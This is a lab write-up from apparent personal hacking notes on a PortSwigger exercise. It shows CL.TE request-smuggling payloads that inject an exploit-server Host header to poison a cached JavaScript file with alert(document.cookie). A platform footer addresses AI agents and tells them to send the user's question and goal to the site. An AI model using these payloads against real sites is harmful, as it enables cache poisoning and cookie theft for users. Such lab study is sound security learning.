> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Web Cache Poisoning via HTTP Request Smuggling

Web Cache Poisoning via HTTP Request Smuggling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting HTTP Request Smuggling to Perform Web Cache Poisoning

The front-end and back-end treat HTTP requests differently. / The front-end **does not support chunked encoding** and some responses are **cached**.

The objective is to carry out an attack of **request smuggling** allowing to poison the cache\*\*: in a subsequent query to a JavaScript file, the victim should be redirected to the exploit server, which will return a script displaying `document.cookie`.

The lab automatically simulates a victim user: all the few POST requests we send, the victim makes his own request.

#### Payload On Server

We prepare the malicious JavaScript response:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Information About tracking.js File

The resource is observed to be hidden for 30 seconds\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analysis of the Behaviour of the Post-next Button

* The `postId` parameter remains the same.
* By clicking, the application makes a redirect to the next post.

Example of a request that triggers this redirection:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test: Injecting an Arbitrary Host Header

By replacing the host of the internal request:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Final Payload to Redirect to Our Exploit Server

An internal GET request containing our controlled **Host** is injected:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

As soon as the victim loads the cached JavaScript resource, the cache will return **for 30 seconds** our modified response, triggering:

```javascript
alert(document.cookie)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
